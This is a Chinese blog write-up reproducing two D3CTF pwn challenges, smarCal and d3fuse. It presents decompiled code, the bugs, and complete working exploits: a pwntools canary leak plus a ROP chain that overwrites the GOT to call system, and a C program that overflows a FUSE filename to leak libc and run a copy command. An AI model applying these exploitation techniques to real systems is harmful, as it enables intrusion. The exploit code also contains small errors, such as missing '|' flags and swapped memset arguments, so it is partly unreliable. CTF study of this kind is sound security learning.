D3CTF-PWN复现报告

First Post:

Last Update:

smarCal

逻辑解读:

main

  • Input solver_id>
  • Input expression
  • Input result
  • send_message ->solver_id->expression->result
  • loop

fork

  • get_ID_message
  • get_expression_message
  • get_result_message
  • calculate func

源码分析

首先,三个input方式是完全相同的:但必须注意的是,它们均要求输入的内容是可打印字符,只有solver_id没有这个检查。

1
2
3
*&solver_id_len[1] = read(0, solver_id, 0x2010uLL);
expression_len = read(0, expression, 0x1F00uLL);
result_len = read(0, result, 0x1F00uLL);

而发送消息的函数为sub_70DA:

1
2
3
sub_70DA(dword_C1B0, solver_id, solver_id_len[1]);
sub_70DA(dword_C1B0, expression, expression_len);
sub_70DA(dword_C1B0, result, result_len);

发送函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
void __fastcall sub_70DA(int a1, const void *a2, int a3)
{
_QWORD *mess_head; // [rsp+18h] [rbp-18h]
_QWORD *mess_body; // [rsp+20h] [rbp-10h]
//分配空间与初始化
mess_head = malloc(0x10uLL);
mess_body = malloc(a3 + 26LL);
memset(mess_head, 0, 0x10uLL);
memset(mess_body, 0, a3 + 26LL);
//mess_head
mess_head[1] = a3;
*mess_head = 1LL;
msgsnd(a1, mess_head, 8uLL, 0);
//mess_body
*mess_body = 2LL;
memcpy(mess_body + 2, a2, a3);
msgsnd(a1, mess_body, a3 + 8LL, 0);
//释放空间
free(mess_head);
free(mess_body);
}

流程虽然很清晰,但必须注意到这是在进行进程间通信,其中README中提到:

sudo sysctl -w kernel.msgmax=8192

这意味着报文长度的限制,对于超出报文的情况会导致入队失败。
这一点在之后的利用中会很重要且难以察觉,因此笔者提前注出。

笔者猜测的结构体如下:

1
2
3
4
5
6
7
8
9
10
struct mess_head{
int64 type=1;
int64 mess_len;
}
struct mess_head{
int64 type=2;
int64 mess_len;
char mess_context[mess_len];
char pedding[0xA];
}

接下来需要分析fork子进程的流程,首先是接收消息的函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
__int64 __fastcall get_message_con(int a1)
{
int i; // [rsp+1Ch] [rbp-44h]
void *dest; // [rsp+20h] [rbp-40h] BYREF
__int64 v4; // [rsp+28h] [rbp-38h] BYREF
msgbuf *msgp; // [rsp+30h] [rbp-30h]
void *s; // [rsp+38h] [rbp-28h]
__int64 v7[4]; // [rsp+40h] [rbp-20h] BYREF

s = malloc(0x20uLL);
msgp = 0LL;
for ( i = -1; i == -1; i = msgrcv(a1, msgp, *(s + 1) + 8LL, 2LL, 0) )
{
memset(s, 0, 0x20uLL);
msgrcv(a1, s, 8uLL, 1LL, 0);
msgp = malloc(*(s + 1) + 32LL);
memset(msgp, 0, *(s + 1) + 32LL);
}
dest = malloc(*(s + 1));
v4 = *(s + 1);
memset(dest, 0, *(s + 1));
memcpy(dest, &msgp[1], *(s + 1));
free(s);
free(msgp);
sub_73C2(v7, &dest, &v4);
return v7[0];
}

阅读起来不太容易,感觉似乎多了些毫无意义的翻译,简而言之就是返回一个指向mess_context内容的chunk。
然后就能阅读完整的子进程主函数了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
void __fastcall __noreturn sub_68AE(unsigned int a1)
{
__int64 v1; // rdx
__int64 v2; // rdx
__int64 v3; // rdx
char *ID; // [rsp+10h] [rbp-60h] BYREF
__int64 v5; // [rsp+18h] [rbp-58h]
void *expression; // [rsp+20h] [rbp-50h] BYREF
__int64 v7; // [rsp+28h] [rbp-48h]
void *result; // [rsp+30h] [rbp-40h] BYREF
__int64 v9; // [rsp+38h] [rbp-38h]
__int64 message_con; // [rsp+40h] [rbp-30h] BYREF
__int64 v11; // [rsp+48h] [rbp-28h]
unsigned __int64 v12; // [rsp+58h] [rbp-18h]

while ( 1 )
{
ID = 0LL;
v5 = 0LL;
expression = 0LL;
v7 = 0LL;
result = 0LL;
v9 = 0LL;
message_con = get_message_con(a1);
v11 = v1;
change_pos(&ID, &message_con);
if ( !strncmp(ID, "3x1t", 4uLL) )
break;
message_con = get_message_con(a1);
v11 = v2;
change_pos(&expression, &message_con);
message_con = get_message_con(a1);
v11 = v3;
change_pos(&result, &message_con);
sub_6493(ID, v5, result, v9, expression, v7);
free(ID);
free(expression);
free(result);
}
sub_708D(a1);
exit(0);
}

关键计算发生在sub_6493,但这个函数比较庞大,笔者只截取关键部分(C++反编译出来的代码真的好多啊)。

1
2
3
4
5
char expression[280]; // [rsp+130h] [rbp-2120h] BYREF
char result[264]; // [rsp+2130h] [rbp-120h] BYREF
memcpy(result, input_result, a5);
memcpy(expression, input_expression, a7);
write(1, result, a5 + 64);

反汇编代码没有很好的体现出变量a5是result的长度,笔者也没有从汇编细究,但从函数逻辑的角度来说,这么想是一种直觉,它意味着我们会打印除result外更多的数据,这能让我们泄露canary。
再回顾主函数发送消息时,获取result的代码:

1
result_len = read(0, result, 0x1F00uLL);

注意到result的长度,我们可以读入足够多数据使其泄露。

Attack Test

尝试泄露数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
sla("solver_id",b"1")
sla("expression",b"1")
#用足够长的result去填充数组,使得write函数泄露额外数据
PAYLOAD_SZ=0x2238-0x2130
sla("result",b"1"*(PAYLOAD_SZ-1)) # pedding+'\x0a'#
p.recvuntil(b'result is:')
p.recv(2)
p.recv(PAYLOAD_SZ)
canary=p.recv(8)#leak canary
p.recv(8*3)
leak1=u64(p.recv(8))#leak addr
elf_base=leak1-0x55f4136819c5+0x000055f41367d000-0x2000#
csu=elf_base+0x7470#csu gadget

接下来构造ROP链:

1
2
3
4
5
6
7
g=p64(0)*3+p64(elf_base+0x748a)+p64(0)+p64(1)+p64(1)+p64(read_got)+p64(8)+p64(write_got)
#write(1,read_got,8)
g+=p64(csu)+p64(0)+p64(0)+p64(1)+p64(0)+p64(elf_base+0xC1A0)+p64(24)+p64(read_got)
#read(0, malloc_got,8)
g+=p64(csu)+p64(0)+p64(0)+p64(1)+p64(elf_base+0xC1A0+8)+p64(0)+p64(0)+p64(elf_base+0xC1A0)
g+=p64(prdi_ret+1)+p64(prdi_ret)+p64(elf_base+0xC1A0+8)+p64(elf_base+0x7479)
#read(0,bss,size)

在构造完成以后,我们就需要期望将ROP写进返回地址以期望事情顺利发展。
但我们知道,能够用以溢出的result或者expression被要求输入必须是可打印的,因此这里就需要通过报文长度限制来抢占,使得输入ID这个不被检查的过程中导入了result或者expression。
常规发送情况如下:

  • ID 1->expression 1->result 1->ID 2

而接收顺序如下:

  • ID 1->expression 1->result 1->ID 2

接下来我们通过输入长ID来使得报文无法入队,使得接收报文的实际内容变为:

  • expression 1->result 1 -> ID 2

这样,第二次发送的ID 2就会被当作result,并且还不会经过可打印检查。

所以exp接下来这样做:

1
2
3
4
5
6
7
sa("solver_id",b"a"*8200)#长报文,不被接收
sa("expression",b"a") #短报文,会被当作ID接收
sa("result",b"1+1") #短报文,被当作expression接收

sa("solver_id",b"a"*PAYLOAD_SZ+canary+rop)#短报文,被当作result接收,但在发送端会认为发送的是ID
sa("expression",b"1") #ID
sa("result",b"2+1")#expression

最后就只需要顺应rop结束即可:

1
2
3
#rop中构造了读取函数,会将malloc_got改为system,最后执行对应代码读出flag
p.send(p64(leak-libc.sym['read']+libc.sym['system'])+b'cat flag'.ljust(16,b'\x00'))
p.interactive()

d3fuse

题目是一个fuse文件系统,这里不对其做过多的赘述,一言蔽之就是:

一个能够让用户自定义操作的,用户态的文件系统。

阅读脚本可以知道,/chroot/mnt目录被该文件系统接管,所有在该目录下的操作会由d3fuse进行变换。
以及,flag是根目录下,但程序一开始会用chroot将当前根目录切换到chroot,无法直接向上层访问。

保护检查

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

程序分析

首先根据查阅的资料恢复符号,可以看到该程序接管了如下命令:(部分未标记)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
0000000000404CC0 off_404CC0      dq offset getattr       ; DATA XREF: main+49↑o
.data.rel.ro:0000000000404CD8 dq offset mkdir
.data.rel.ro:0000000000404CE0 dq offset unlink
.data.rel.ro:0000000000404CE8 dq offset rmdir
.data.rel.ro:0000000000404CF8 dq offset rename
.data.rel.ro:0000000000404D18 dq offset truncate
.data.rel.ro:0000000000404D20 dq offset open
.data.rel.ro:0000000000404D28 dq offset read
.data.rel.ro:0000000000404D30 dq offset write
.data.rel.ro:0000000000404D40 dq offset sub_401ABA
.data.rel.ro:0000000000404D48 dq offset sub_4016E5
.data.rel.ro:0000000000404D78 dq offset opendir
.data.rel.ro:0000000000404D80 dq offset readdir
.data.rel.ro:0000000000404D88 dq offset sub_4017BE
.data.rel.ro:0000000000404D98 dq offset init_
.data.rel.ro:0000000000404DA0 dq offset sub_401918
.data.rel.ro:0000000000404DA8 dq offset sub_401927
.data.rel.ro:0000000000404DB0 dq offset create
.data.rel.ro:0000000000404E08 _data_rel_ro ends

首先从创建文件的部分开始看,注意到其调用sub_401D74函数,其中有一行漏洞代码:

1
2
3
v12 = strdup(a2);
s2 = __xpg_basename(v12);
strcpy(&v15->ptr[48 * v8], s2);

strcpy是不限定长度的拷贝,而s2是文件名,而文件名一般能无限长,因此可以构成一个溢出。
然后根据代码反推文件的结构体:

1
2
3
4
5
6
7
8
struct fusefile
{
char name[32];
int file_type;
unsigned int subsize;
char *ptr;
};
//sizeof(fusefile)=48

那么名字就能够向下溢出了。

那么顺着创建文件的路,从open开始:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
__int64 __fastcall open(__int64 a1, __int64 fd)
{
int v3; // [rsp+14h] [rbp-Ch]
fusefile *v4; // [rsp+18h] [rbp-8h]

v4 = find_file(&byte_4050C0, a1);
if ( !v4 )
return 4294967294LL;
if ( (v4->file_type & 1) != 0 )
return 4294967275LL;
if ( (*fd & 0x200) != 0 )
{
v3 = sub_401C4E(v4, 0LL);
if ( v3 < 0 )
return v3;
}
*(fd + 16) = v4;
return 0LL;
}

其会寻找该文件并返回其描述符。

然后是read函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
size_t __fastcall read(__int64 a1, void *a2, size_t a3, __int64 a4, __int64 a5)
{
__int64 offset; // [rsp+10h] [rbp-30h]
size_t n; // [rsp+18h] [rbp-28h]
fusefile *v8; // [rsp+38h] [rbp-8h]

n = a3;
offset = a4;
v8 = *(a5 + 16);
if ( a4 > v8->subsize )
offset = v8->subsize;
if ( a3 + offset > v8->subsize )
n = v8->subsize - offset;
memcpy(a2, &v8->ptr[offset], n);
return n;
}

会从描述符的ptr处复制数据到指针。

然后是write:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
size_t __fastcall write(__int64 a1, const void *a2, size_t a3, __int64 a4, __int64 a5)
{
__int64 offset; // [rsp+10h] [rbp-40h]
unsigned int size; // [rsp+3Ch] [rbp-14h]
fusefile *size_4; // [rsp+40h] [rbp-10h]
char *v10; // [rsp+48h] [rbp-8h]

offset = a4;
size_4 = *(a5 + 16);
if ( a4 > size_4->subsize )
offset = size_4->subsize;
size = offset + a3;
if ( (offset + a3) > size_4->subsize )
{
v10 = realloc(size_4->ptr, size);
if ( !v10 )
return 4294967284LL;
size_4->ptr = v10;
size_4->subsize = size;
}
memcpy(&size_4->ptr[offset], a2, a3);
return a3;
}

将数据复制到ptr指向的内容处。

Attack Test

利用思路:

  • 通过文件名溢出ptr为got表
  • 读取ptr泄露got内容,得到libc_base
  • 写got表为system
  • 令system执行“cp /flag /chroot/flag”

笔者最开始还在好奇,为什么chroot之后,system还能用根目录下的cp来拷贝flag,原因出自sh脚本:

1
2
runuser -u ctf /d3fuse /chroot/mnt && \
chroot --userspec=1000:1000 /chroot /bin/timeout -k 5 300 /bin/sh

最开始没注意到f3fuse是运行在外部,之后再chroot的,所以该文件是能正常访问外部目录的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
//musl-gcc -static -o exp exp.c
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
#include <string.h>
int main(){
/*
{
.name = 'A'*32;
.isdir = 0x10101010;
.length = 0x1101010;
.context = 0x405070;
*/
char* fpath = "/mnt/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x10\x10\x10\x10\x10\x10\x10\x01pP@\x00";
char* cmd = "/usr/bin/cp /flag /chroot/rwdir/flag";
int fd, r;
// call realloc
char garbage[0x1000];
memset(garbage, 0x1000, 'A');
fd = open("/mnt/garbage", O_CREAT O_WRONLY O_DIRECT);
write(fd, garbage, 0x1000);
close(fd);
fd = open("/mnt/cmd", O_CREAT O_WRONLY O_DIRECT);
write(fd, cmd, strlen(cmd));
close(fd);
// trigger strcpy vuln
fd = open(fpath, O_CREATO_WRONLY O_DIRECT);
if(fd < 0)
perror("open");
close(fd);
// leak realloc address
fd = open("/mnt/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", O_RDWR O_DIRECT);
unsigned long libc_addr = 0;
r = read(fd, &libc_addr, 8);
if(r < 0)
perror("read");
printf("read: fd=%d, r=%d, libc=%lx\n", fd, r, libc_addr);
// calculate system address
libc_addr += -0x48bf0;
// overwrite realloc GOT address to system
lseek(fd, 0, 0);
r = write(fd, &libc_addr, 8);
if(r < 0)
perror("write");
printf("write: fd=%d, r=%d, libc=%lx\n", fd, r, libc_addr);
// call system(cmd)
fd = open("/mnt/cmd", O_WRONLY O_DIRECT);
write(fd, garbage, 0x1000);
close(fd);
}

注:
pwn的其他题也看了一下,kheap和内核slub分配器看着难度还行,但我目前还没学到那,之后完成了会另外再复现一下试试的。
bpf的wp看了好几篇,但对于我这样最开始就没接触bpf的菜鸡来说好像还是有些晦涩,尤其是那个超长的exp,看着有点头皮发麻,希望之后有时间的话把这个东西从头再做一遍,ebf这个东西对我这个希望未来能研究内核的新手来说相当有吸引力。
希望接下来也能继续精进吧。


插画ID:71759763